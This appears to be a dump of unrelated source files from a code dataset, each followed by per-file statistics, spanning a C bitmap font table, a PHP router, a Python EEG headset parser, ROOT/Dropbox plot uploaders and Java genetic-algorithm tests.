{0x01f8,0x01fc,0x000c,0x0038,0x000c,0x01fc,0x01f8,0x0000}, // w {0x018c,0x01dc,0x0070,0x0070,0x0070,0x01dc,0x018c,0x0000}, // x {0x01f2,0x01fb,0x0009,0x0009,0x0019,0x01ff,0x01fe,0x0000}, // y {0x010c,0x011c,0x0134,0x0164,0x01c4,0x0184,0x0104,0x0000}, // z {0x0000,0x0040,0x075c,0x0ffe,0x08a2,0x0802,0x0802,0x0000}, // { {0x0000,0x0000,0x0000,0x0ffc,0x0ffc,0x0000,0x0000,0x0000}, // | {0x0000,0x0802,0x0802,0x08a2,0x0ffe,0x075c,0x0040,0x0000}, // } {0x0300,0x0600,0x0600,0x0700,0x0300,0x0300,0x0600,0x0000}, // ~ {0x01fc,0x0020,0x00f8,0x01fc,0x0104,0x01fc,0x00f8,0x0000}, // afii10096 {0x0038,0x017c,0x0144,0x0144,0x014c,0x01fc,0x00fc,0x0000}, // afii10065 {0x03f8,0x07fc,0x0584,0x0504,0x0504,0x0dfc,0x08f8,0x0000}, // afii10066 {0x01fc,0x01fc,0x0004,0x0004,0x01fc,0x01fe,0x0006,0x0000}, // afii10088 {0x0006,0x00fe,0x01fc,0x0104,0x0104,0x01fc,0x01fe,0x0006}, // afii10069 {0x00f8,0x01fc,0x0124,0x0124,0x0124,0x01ec,0x00e8,0x0000}, // afii10070 {0x00f8,0x01fc,0x0104,0x03ff,0x0104,0x01fc,0x00f8,0x0000}, // afii10086 {0x01fc,0x01fc,0x0100,0x0100,0x0100,0x0100,0x0100,0x0000}, // afii10068 {0x018c,0x01dc,0x0070,0x0070,0x0070,0x01dc,0x018c,0x0000}, // afii10087 {0x01fc,0x01fc,0x0030,0x0020,0x0060,0x01fc,0x01fc,0x0000}, // afii10074 {0x01fc,0x01fc,0x0430,0x0420,0x0460,0x01fc,0x01fc,0x0000}, // afii10075 {0x01fc,0x01fc,0x0060,0x00f0,0x0198,0x010c,0x0004,0x0000}, // afii10076 {0x0004,0x00fc,0x01f8,0x0100,0x0100,0x01fc,0x01fc,0x0000}, // afii10077 {0x01fc,0x01fc,0x00c0,0x0060,0x00c0,0x01fc,0x01fc,0x0000}, // afii10078 {0x01fc,0x01fc,0x0020,0x0020,0x0020,0x01fc,0x01fc,0x0000}, // afii10079 {0x00f8,0x01fc,0x0104,0x0104,0x0104,0x01fc,0x00f8,0x0000}, // afii10080 {0x01fc,0x01fc,0x0100,0x0100,0x0100,0x01fc,0x01fc,0x0000}, // afii10081 {0x00c4,0x01ec,0x0138,0x0130,0x0120,0x01fc,0x01fc,0x0000}, // afii10097 {0x01ff,0x01ff,0x018c,0x0104,0x0104,0x01fc,0x00f8,0x0000}, // afii10082 {0x00f8,0x01fc,0x018c,0x0104,0x0104,0x018c,0x0088,0x0000}, // afii10083 {0x0000,0x0100,0x0100,0x01fc,0x01fc,0x0100,0x0100,0x0000}, // afii10084 {0x01f2,0x01fb,0x0009,0x0009,0x0019,0x01ff,0x01fe,0x0000}, // afii10085 {0x018c,0x01dc,0x0070,0x01fc,0x0070,0x01dc,0x018c,0x0000}, // afii10072 {0x01fc,0x01fc,0x0124,0x0124,0x0124,0x01fc,0x00d8,0x0000}, // afii10067 {0x01fc,0x01fc,0x0024,0x0024,0x0024,0x003c,0x0018,0x0000}, // afii10094 {0x01fc,0x01fc,0x0024,0x003c,0x0018,0x01e4,0x01fc,0x0000}, // afii10093 {0x0088,0x018c,0x0124,0x0124,0x0124,0x01fc,0x00d8,0x0000}, // afii10073 {0x01fc,0x01fc,0x0004,0x00fc,0x0004,0x01fc,0x01fc,0x0000}, // afii10090 {0x0088,0x018c,0x0124,0x0124,0x01ac,0x01fc,0x00f8,0x0000}, // afii10095 {0x01fc,0x01fc,0x0004,0x00fc,0x0004,0x01fc,0x01fe,0x0006}, // afii10091 {0x01c0,0x01e0,0x0020,0x0020,0x0020,0x01fc,0x01fc,0x0000}, // afii10089 {0x0100,0x01fc,0x01fc,0x0024,0x0024,0x003c,0x0018,0x0000}, // afii10092 {0x0ffc,0x0080,0x07f8,0x0ffc,0x0804,0x0ffc,0x07f8,0x0000}, // afii10048 {0x03fc,0x07fc,0x0c40,0x0c40,0x0c40,0x07fc,0x03fc,0x0000}, // afii10017 {0x0ffc,0x0ffc,0x0884,0x0884,0x0884,0x08fc,0x0878,0x0000}, // afii10018 {0x0ffc,0x0ffc,0x0004,0x0004,0x0ffc,0x0fff,0x0007,0x0000}, // afii10040 {0x0007,0x07ff,0x0ffc,0x0804,0x0804,0x0ffc,0x0fff,0x0007}, // afii10021 {0x0ffc,0x0ffc,0x0884,0x0884,0x0884,0x0804,0x0c0c,0x0000}, // afii10022 {0x03e0,0x07f0,0x0410,0x0ffc,0x0410,0x07f0,0x03e0,0x0000}, // afii10038 {0x0ffc,0x0ffc,0x0800,0x0800,0x0800,0x0800,0x0c00,0x0000}, // afii10020 {0x0c0c,0x0f3c,0x03f0,0x00c0,0x03f0,0x0f3c,0x0c0c,0x0000}, // afii10039 {0x0ffc,0x0ffc,0x0070,0x00c0,0x0380,0x0ffc,0x0ffc,0x0000}, // afii10026 {0x07fc,0x07fc,0x0838,0x0860,0x09c0,0x07fc,0x07fc,0x0000}, // afii10027 {0x0ffc,0x0ffc,0x00c0,0x01e0,0x0330,0x0e1c,0x0c0c,0x0000}, // afii10028 {0x0004,0x07fc,0x0ff8,0x0800,0x0800,0x0ffc,0x0ffc,0x0000}, // afii10029 {0x0ffc,0x0ffc,0x0300,0x0180,0x0300,0x0ffc,0x0ffc,0x0000}, // afii10030 {0x0ffc,0x0ffc,0x0080,0x0080,0x0080,0x0ffc,0x0ffc,0x0000}, // afii10031 {0x07f8,0x0ffc,0x0804,0x0804,0x0804,0x0ffc,0x07f8,0x0000}, // afii10032 {0x0ffc,0x0ffc,0x0800,0x0800,0x0800,0x0ffc,0x0ffc,0x0000}, // afii10033 {0x070c,0x0fbc,0x08f0,0x08c0,0x08c0,0x0ffc,0x0ffc,0x0000}, // afii10049 {0x0ffc,0x0ffc,0x0840,0x0840,0x0840,0x0fc0,0x0780,0x0000}, // afii10034 {0x07f8,0x0ffc,0x0c0c,0x0804,0x0804,0x0e1c,0x0618,0x0000}, // afii10035 {0x0000,0x0800,0x0800,0x0ffc,0x0ffc,0x0800,0x0800,0x0000}, // afii10036 {0x0f88,0x0fcc,0x0044,0x0044,0x0044,0x0ffc,0x0ff8,0x0000}, // afii10037 {0x0e1c,0x0f3c,0x01e0,0x0ffc,0x01e0,0x0f3c,0x0e1c,0x0000}, // afii10024 {0x0804,0x0ffc,0x0ffc,0x0884,0x0884,0x0ffc,0x0778,0x0000}, // afii10019 {0x0ffc,0x0ffc,0x0084,0x0084,0x0084,0x00fc,0x0078,0x0000}, // afii10046 {0x0ffc,0x0ffc,0x0084,0x00fc,0x0078,0x0f04,0x0ffc,0x0000}, // afii10045 {0x0618,0x0e1c,0x0884,0x0884,0x0884,0x0ffc,0x0778,0x0000}, // afii10025 {0x0ffc,0x0ffc,0x0004,0x03fc,0x0004,0x0ffc,0x0ffc,0x0000}, // afii10042 {0x0618,0x0e1c,0x0884,0x0884,0x0c8c,0x0ffc,0x07f8,0x0000}, // afii10047 {0x0ffc,0x0ffc,0x0004,0x03fc,0x0004,0x0ffc,0x0fff,0x0007}, // afii10043 {0x0f80,0x0fc0,0x0040,0x0040,0x0040,0x0ffc,0x0ffc,0x0000}, // afii10041 }; #endif
c
6
0.761444
72
65.737805
164
starcoderdata
geommesh3 cube(mat4 const& tr, vec4 const& col) { geommesh3 res; res.reserve(4 * 6); //4 per face since they're not shared vec3 pos[]{ tr * vec3(-1.f, -1.f, 1.f), tr * vec3(-1.f, 1.f, 1.f), tr * vec3(1.f, 1.f, 1.f), tr * vec3(1.f, -1.f, 1.f), tr * vec3(-1.f, -1.f, -1.f), tr * vec3(-1.f, 1.f, -1.f), tr * vec3(1.f, 1.f, -1.f), tr * vec3(1.f, -1.f, -1.f), }; vec4 colt[]{ col,col,col,col }; vec2 uvt[] { vec2(0.f,0.f), vec2(0.f,1.f), vec2(1.f,1.f), vec2(1.f,0.f) }; vec3 tpos[4]{ 0.f,0.f,0.f,0.f }; tpos[0] = pos[0]; tpos[1] = pos[1]; tpos[2] = pos[2]; tpos[3] = pos[3]; res += quad(tpos, colt, uvt); tpos[0] = pos[3]; tpos[1] = pos[2]; tpos[2] = pos[6]; tpos[3] = pos[7]; res += quad(tpos, colt, uvt); tpos[0] = pos[7]; tpos[1] = pos[6]; tpos[2] = pos[5]; tpos[3] = pos[4]; res += quad(tpos, colt, uvt); tpos[0] = pos[4]; tpos[1] = pos[5]; tpos[2] = pos[1]; tpos[3] = pos[0]; res += quad(tpos, colt, uvt); tpos[0] = pos[1]; tpos[1] = pos[5]; tpos[2] = pos[6]; tpos[3] = pos[2]; res += quad(tpos, colt, uvt); tpos[0] = pos[3]; tpos[1] = pos[7]; tpos[2] = pos[4]; tpos[3] = pos[0]; res += quad(tpos, colt, uvt); return res; }
c++
9
0.499168
103
33.371429
35
inline
using System; namespace ChiamataLibrary { /// /// Class representing a normal bid. /// public class NormalBid:NotPassBidBase { #region Information /// /// The bid's number. /// public readonly EnNumbers number; #endregion /// /// Changes the bidder of a specified bid. /// /// bid. /// <param name="newBidder">The new bidder. public override BidBase ChangeBidder (Player newBidder) { return new NormalBid (newBidder, this.number, this.point); } /// /// Gets the next avaiable bid. /// /// next avaiable bid. public override NotPassBidBase GetNext () { if (this.number == EnNumbers.DUE) return new NormalBid (bidder, EnNumbers.DUE, this.point + 1); else return new NormalBid (bidder, this.number - 1, 61); } /// /// Initializes a new instance of the <see cref="ChiamataLibrary.NormalBid"/> class. /// /// <param name="bidder">Bidder. /// <param name="number">Number. /// <param name="point">Points. public NormalBid (Player bidder, EnNumbers number, int point) : base (bidder, point) { this.number = number; } /// /// Initializes a new naked instance of the <see cref="ChiamataLibrary.NormalBid"/> class. /// /// <param name="number">Number. /// <param name="point">Points. public NormalBid (EnNumbers number, int point) : base (point) { this.number = number; } /// /// Returns a <see cref="System.String"/> that represents the current <see cref="ChiamataLibrary.NormalBid"/>. /// /// <see cref="System.String"/> that represents the current <see cref="ChiamataLibrary.NormalBid"/>. public override string ToString () { return string.Format ("[NormalBid: Player:{0}, Number={1}, Point={2}]", bidder, this.number, this.point); } } }
c#
15
0.628436
123
26.527027
74
starcoderdata
function Parser (parser, config) { if (typeof parser === 'string') { parser = require('./' + parser + '_parser').parser } this.parser = parser this.config = config || {} return this } Parser.prototype.parse = function (text) { return this.parser(text, this.config) } module.exports = exports = Parser
javascript
10
0.661064
54
20
17
starcoderdata
<?php declare(strict_types=1); namespace Cundd\Stairtower\Bootstrap; use Cundd\Stairtower\ApplicationMode; use Cundd\Stairtower\Configuration\ConfigurationManager; use Cundd\Stairtower\Constants; use Cundd\Stairtower\DataAccess\CoordinatorInterface; use Cundd\Stairtower\Router\ServerRequestFactory; use Cundd\Stairtower\Server\Dispatcher\CoreDispatcherInterface; use Cundd\Stairtower\Server\ServerInterface; use Psr\Http\Message\ResponseInterface; use Psr\Log\LoggerInterface; use Psr\Log\LogLevel; use React\Http\Response; /** * Router bootstrapping for conventional servers */ class Router extends AbstractBootstrap { /** * Current response instance * * @var Response */ protected $response; /** * @var CoreDispatcherInterface */ private $dispatcher; /** * @var CoordinatorInterface */ private $coordinator; /** * @var LoggerInterface */ private $logger; /** * @param array $arguments */ public function configure(array $arguments) { $serverMode = $this->getServerModeFromEnv(); $configurationManager = ConfigurationManager::getSharedInstance(); $configurationManager->setConfigurationForKeyPath('applicationMode', ApplicationMode::ROUTER); if ($serverMode === ServerInterface::SERVER_MODE_DEVELOPMENT) { $configurationManager->setConfigurationForKeyPath('logLevel', LogLevel::DEBUG); } $this->setDataPath((string)getenv(Constants::ENVIRONMENT_KEY_SERVER_DATA_PATH)); // Instantiate the Core $bootstrap = new Core(); $container = $bootstrap->getDiContainer(); $this->coordinator = $container->get(CoordinatorInterface::class); $this->dispatcher = $container->get(CoreDispatcherInterface::class); $this->logger = $container->get(LoggerInterface::class); } protected function doExecute(array $arguments) { $request = ServerRequestFactory::fromGlobals(); $this->dispatcher->dispatch($request) ->then([$this, 'sendResponse']) ->otherwise([$this, 'handleError']); $this->coordinator->commitDatabases(); } public function handleError($error) { if ($error instanceof \Throwable) { $this->logger->error( sprintf( 'Caught exception #%d: %s', $error->getCode(), $error->getMessage(), ['error' => $error] ) ); } } public function sendResponse(ResponseInterface $response) { if (headers_sent($file, $line)) { $this->logger->error(sprintf('Headers already sent by %s:%d', $file, $line)); } else { header( sprintf( 'HTTP/%s %s %s', $response->getProtocolVersion(), $response->getStatusCode(), $response->getReasonPhrase() ), true, $response->getStatusCode() ); foreach ($response->getHeaders() as $name => $values) { foreach ($values as $value) { header(sprintf('%s: %s', $name, $value), false); } } } $body = $response->getBody(); $body->rewind(); echo $body; } /** * Returns the server mode according to the environment variables * * @return int */ private function getServerModeFromEnv() { $serverModeName = getenv(Constants::ENVIRONMENT_KEY_SERVER_MODE); if ($serverModeName === 'dev') { return ServerInterface::SERVER_MODE_DEVELOPMENT; } elseif ($serverModeName === 'dev') { return ServerInterface::SERVER_MODE_TEST; } return ServerInterface::SERVER_MODE_NORMAL; } }
php
20
0.583966
102
27.446043
139
starcoderdata
const userSchema = { name: { type: String, required: true }, username: { type: String, required: true, unique: true }, password: { type: String }, contactNo: { type: String }, status: { type: String, enum: [ 'CREATED', 'ACTIVE', 'DISABLED', 'DELETED' ] }, level: { type: String, enum: [ 'ADMIN', 'MANAGER', 'LOCAL' ] } }; module.exports = userSchema;
javascript
9
0.406452
32
15.783784
37
starcoderdata
<?php namespace FbMessengerBot; /** * Class Body * */ class Body { /** * @var Recipient */ protected $recipient; /** * @var Message */ protected $message; /** * @var Sender action */ protected $senderAction; /** * Set recipient * * @param int $recipientId Recipient id */ public function setRecipient($recipientId) { $recipient = new Recipient(); $recipient->setId($recipientId); $this->recipient = $recipient; } /** * Get recipient * * @return Recipient */ public function getRecipient() { return $this->recipient; } /** * Set message * * @param Message $message */ public function setMessage($message) { $this->message = $message; } /** * Get message * * @return Message */ public function getMessage() { return $this->message; } /** * Set sender action * * @param string $senderAction */ public function setSenderAction($senderAction) { $this->senderAction = $senderAction; } /** * Get sender action * * @return Sender action */ public function getSenderAction() { return $this->senderAction; } }
php
10
0.520086
50
14.488889
90
starcoderdata
// eslint-disable-next-line const colors = require('colors') // eslint-disable-next-line const fs = require('fs') const supportedCdkVersion = '"1.49.1"' const mandatoryDepsMessage = ` Please make sure to to include the following dependencies to you project: "aws-cdk": ${supportedCdkVersion}, "@aws-cdk/aws-cloudformation": ${supportedCdkVersion}, "@aws-cdk/aws-codebuild": ${supportedCdkVersion}, "@aws-cdk/aws-codecommit": ${supportedCdkVersion}, "@aws-cdk/aws-codepipeline": ${supportedCdkVersion}, "@aws-cdk/aws-codepipeline-actions": ${supportedCdkVersion}, "@aws-cdk/aws-iam": ${supportedCdkVersion}, "@aws-cdk/aws-lambda-event-sources": ${supportedCdkVersion}, "@aws-cdk/aws-lambda": ${supportedCdkVersion}, "@aws-cdk/aws-s3-assets": ${supportedCdkVersion}, "@aws-cdk/aws-secretsmanager": ${supportedCdkVersion}, "@aws-cdk/custom-resources": ${supportedCdkVersion}, "@aws-cdk/aws-sns": ${supportedCdkVersion}, "@aws-cdk/aws-s3": ${supportedCdkVersion}, "@aws-cdk/aws-sqs": ${supportedCdkVersion}, "@aws-cdk/assets": ${supportedCdkVersion}, "@aws-cdk/aws-kms": ${supportedCdkVersion}, "@aws-cdk/aws-ec2": ${supportedCdkVersion}, "@aws-cdk/aws-rds": ${supportedCdkVersion}, "@aws-cdk/aws-ssm": ${supportedCdkVersion}, "@aws-cdk/core": ${supportedCdkVersion}` try { const installedCdkVersion = JSON.parse(fs.readFileSync(`${require.resolve('aws-cdk').replace('index.js', '')}/../package.json`).toString()).version if (supportedCdkVersion !== installedCdkVersion) { console.log(` ${colors.bold.green('Thanks for using Mira!')} It looks you have ${installedCdkVersion} version of aws-cdk installed, but ${supportedCdkVersion} is required. ${mandatoryDepsMessage} `) } else { console.log(` ${colors.bold.green('Thanks for using Mira!')} Currently supported version of the AWS CDK is: ${colors.bold.grey.black.blue(supportedCdkVersion)} ${mandatoryDepsMessage} `) } } catch (err) { console.log(` ${colors.bold.green('Thanks for using Mira!')} ${colors.red('It looks you have no aws-cdk installed.')} ${mandatoryDepsMessage} `) }
javascript
19
0.687269
149
39.90566
53
starcoderdata
const buttonAccount = document.getElementById('button-switch-accounts'); const form = document.getElementById('container-group-sign-in'); const buttonSwitchAccounts = document.getElementById('div-continue-account'); buttonAccount.addEventListener('click', function() { form.style.display = 'block'; buttonSwitchAccounts.style.display = 'none'; })
javascript
7
0.788177
77
35.909091
11
starcoderdata
def bigend_24b(self, b1, b2, b3): """This function converts big endian bytes to readable value 0~255""" b1 = int(b1, 16) b2 = int(b2, 16) b3 = int(b3, 16) return (b1*256*256) + (256*b2) + b3 #return int(b1,16)*65536+int(b2,16)*256+int(b3,16) class Parser(object): """The parser class of data from the Mindwave It parsers the data according to the mindwave protocol """ def __init__(self, headset, stream): self.headset = headset self.stream = stream self.buffer = [] def __call__(self): return self def print_bytes(self, data): """Print bytes""" for b in data: print '0x%s, ' % b.encode('hex'), def parser(self, data): """This method parse a chunk of bytes It splits the incoming bytes in payload data """ # settings = self.stream.getSettingsDict() # for i in xrange(2): # settings['rtscts'] = not settings['rtscts'] # self.stream.applySettingsDict(settings) while len(data)> 1 : try: byte1, byte2 = data[0], data[1] # SYNC | SYNC | PLENGTH | PAYLOAD | CHKSUM # PAYLOAD: (EXCODE) | CODE |(VLENGTH) | VALUE if byte1 == Bytes.SYNC and byte2 == Bytes.SYNC: #self.buffer.append(byte1) #self.buffer.append(byte2) data = data[2:] while True: plength = data[0] # 0-169 #self.buffer.append(plength) plength = ord(plength) if plength != 170: break if plength > 170: pass #continue data = data[1:] payload = data[:plength] checksum = 0 checksum = sum(ord(b) for b in payload[:-1]) checksum &= 0xff checksum = ~checksum & 0xff chksum = data[plength] if checksum != ord(chksum): pass self.parser_payload(payload) #self.buffer.append(chksum) data = data[plength+1:] # for b in self.buffer: # if not b == "": # print '0x%s, ' % b.encode('hex'), # print "" #self.buffer = [] else: data = data[1:] except IndexError, e: pass def parser_payload(self, payload): """This method gets the eMeter values It receives the data payload and parse it to find Concentration and Meditation values """ while payload: try: code, payload = payload[0], payload[1:] except IndexError: pass #self.buffer.append(code) # multibytes if ord(code) >= 0x80: try: vlength, payload = payload[0], payload[1:] value, payload = payload[:ord(vlength)], payload[ord(vlength):] except IndexError: pass #self.buffer.append(vlength) if code == BytesStatus.RESPONSE_CONNECTED: # headset found # format: 0xaa 0xaa 0x04 0xd0 0x02 0x05 0x05 0x23 self.headset.status = Status.CONNECTED self.headset.id = value elif code == BytesStatus.RESPONSE_NOFOUND: # it can be 0 or 2 bytes # headset no found # format: 0xaa 0xaa 0x04 0xd1 0x02 0x05 0x05 0xf2 self.headset.status = Status.NOFOUND # 0xAA 0xAA 0x02 0xD1 0x00 0xD9 elif code == BytesStatus.RESPONSE_DISCONNECTED: # dongle send 4 bytes # headset found # format: 0xaa 0xaa 0x04 0xd2 0x02 0x05 0x05 0x21 self.headset.status = Status.DISCONNECTED elif code == BytesStatus.RESPONSE_REQUESTDENIED: # headset found # format: 0xaa 0xaa 0x02 0xd3 0x00 0x2c self.headset.status = Status.DENIED elif code == 0xd4: # waiting for a command the device send a byte 0x00 # standby/scanning mode # format: 0xaa 0xaa 0x03 0xd4 0x01 0x00 0x2a print 'scanning' self.headset.status = Status.STANDBY elif code == Bytes.RAW_VALUE: hight = value[0] low = value[1] #self.buffer.append(hight) #self.buffer.append(low) self.headset.raw_value = ord(hight)*255+ord(low) #self.headset.raw_value = int(hight, 16)*256+int(low, 16) if self.headset.raw_value > 32768: self.headset.raw_value = self.headset.raw_value - 65536 elif code == Bytes.ASIC_EEG_POWER: # ASIC_EEG_POWER_INT # delta, theta, low-alpha, high-alpha, low-beta, high-beta, # low-gamma, high-gamma self.headset.asig_eeg_power = [] #print "length egg_power:", len(value) #for i in range(8): # self.headset.asig_eeg_power.append( # bigend_24b(value[i], value[i+1], value[i+2])) else: #unknow multibyte pass else: # single byte there isn't vlength # 0-127 value, payload = payload[0], payload[1:] #self.buffer.append(value) if code == Bytes.POOR_SIGNAL: self.headset.signal = ord(value) #int(value,16) elif code == Bytes.ATTENTION: self.headset.attention = ord(value) # int(value,16) # ord(value) elif code == Bytes.MEDITATION: self.headset.meditation = ord(value) #int(value,16) #ord(value) elif code == Bytes.BLINK: self.headset.blink = ord(value) #int(value,16) # ord(value) else: pass from common import *
python
19
0.447287
101
35.368984
187
starcoderdata
from contextlib import contextmanager import subprocess import os import ROOT as R @contextmanager def canvas_upload(name='c', title='', w=1600, h=900, ncols=1, nrows=1, local_path=None, remote_path='.', keep_local_file=False): c = R.TCanvas(name, title, w, h) c.Divide(ncols, nrows) yield c fname = local_path if local_path else name + '.pdf' c.SaveAs(fname) R.gDirectory.Delete(name) subprocess.run(f'{os.path.expanduser("~/dropbox_uploader.sh")} upload {fname} {remote_path}'.split()) if not keep_local_file: os.remove(fname) def pretty_draw(frame): frame.GetXaxis().CenterTitle() frame.GetYaxis().CenterTitle() frame.GetYaxis().SetMaxDigits(3) frame.Draw() import os import abc import sys import configparser import ROOT import matplotlib as mpl import dropbox from dropbox.files import WriteMode from dropbox.exceptions import ApiError, AuthError config = configparser.ConfigParser() config.read(os.path.expanduser('~/.config/anatool.cfg')) class IUploader(abc.ABC): @abc.abstractmethod def upload(self, local_path, remote_path): pass class DropboxUploader(IUploader): def __init__(self): self._dbx = dropbox.Dropbox(config['OAUTH_ACCESS_TOKEN']['DROPBOX']) try: self._dbx.users_get_current_account() except AuthError: sys.exit('ERROR: Invalid access token; try re-generating an access' 'token from the app console on the web.') def upload(self, local_path, remote_path=None): if remote_path is None: remote_path = '/' + os.path.basename(local_path) with open(local_path, 'rb') as f: try: self._dbx.files_upload(f.read(), remote_path, mode=WriteMode('overwrite')) except ApiError as err: print(err) sys.exit() class CanvasAdapter: def __init__(self, canvas): self._canvas = canvas def save(self): if isinstance(self._canvas, ROOT.TCanvas): fname = self._canvas.GetName() + '.pdf' self._canvas.SaveAs(fname) return fname elif isinstance(self._canvas, mpl.figure.Figure): fname = self._canvas.get_label() + '.pdf' self._canvas.savefig(fname) return fname class Uploader: def __init__(self, uploader: IUploader = DropboxUploader()): self._canvases = [] self._uploader = uploader def register(self, canvas): self._canvases.append(CanvasAdapter(canvas)) def upload(self): for canvas in self._canvases: fname = canvas.save() self._uploader.upload(fname) def __enter__(self): return self def __exit__(self, type, value, trace): self.upload()
python
16
0.61993
128
25.481481
108
starcoderdata
namespace FingerMovingSimulation.Core.Hands.Dvorak.Fingers.Right { internal interface IRightRingFingerKeyState : IKeyState { double PressD9(); double PressR(); double PressN(); double PressV(); } }
c#
15
0.736
130
25.857143
14
starcoderdata
package it.denv.supsi.i3b.advalg.algorithms.TSP.ra.intermediate.genetic.eax; import it.denv.supsi.i3b.advalg.algorithms.TSP.ra.intermediate.genetic.GeneticAlgorithm; import org.junit.Test; import java.util.ArrayList; import java.util.Random; import static org.junit.Assert.*; import static org.mockito.Mockito.mock; import static org.mockito.Mockito.when; class EAXTest { private ArrayList getProblemEdges(){ ArrayList abEdgeArrayList = new ArrayList<>(); // A Edges abEdgeArrayList.add(new ABEdge(1,2, true)); abEdgeArrayList.add(new ABEdge(2,3, true)); abEdgeArrayList.add(new ABEdge(3,4, true)); abEdgeArrayList.add(new ABEdge(4,5, true)); abEdgeArrayList.add(new ABEdge(5,6, true)); abEdgeArrayList.add(new ABEdge(6,1, true)); // B Edges abEdgeArrayList.add(new ABEdge(1,2, false)); abEdgeArrayList.add(new ABEdge(2,5, false)); abEdgeArrayList.add(new ABEdge(5,4, false)); abEdgeArrayList.add(new ABEdge(4,6, false)); abEdgeArrayList.add(new ABEdge(6,3, false)); abEdgeArrayList.add(new ABEdge(3,1, false)); return abEdgeArrayList; } private EAXGraph getProblemGraph(){ EAXGraph graph = new EAXGraph(); for(ABEdge e : getProblemEdges()){ graph.addEdge(e); } return graph; } @Test void generateABCycle() { GeneticAlgorithm mockedGA = mock(GeneticAlgorithm.class); when(mockedGA.getRandom()).thenReturn(new Random(2)); ABCycle c = EAX.generateABCycle(getProblemGraph(), mockedGA); assertNotNull(c); int prev = -1; int first = -1; boolean wasA = false; for(ABEdge e : c.getPath()){ if(first == -1){ first = e.getU(); prev = first; } else { assertNotEquals(wasA, e.isA()); } assertEquals(prev, e.getU()); prev = e.getV(); wasA = e.isA(); } assertEquals(first, c.getPath().get(c.getPath().size()-1).getV()); System.out.println(c.getPath()); } @Test void generateABCycles() { GeneticAlgorithm mockedGA = mock(GeneticAlgorithm.class); when(mockedGA.getRandom()).thenReturn(new Random(3)); ArrayList cycles = EAX.generateABCycles(getProblemGraph(), mockedGA); assertNotNull(cycles); } }
java
15
0.704535
88
25.419753
81
starcoderdata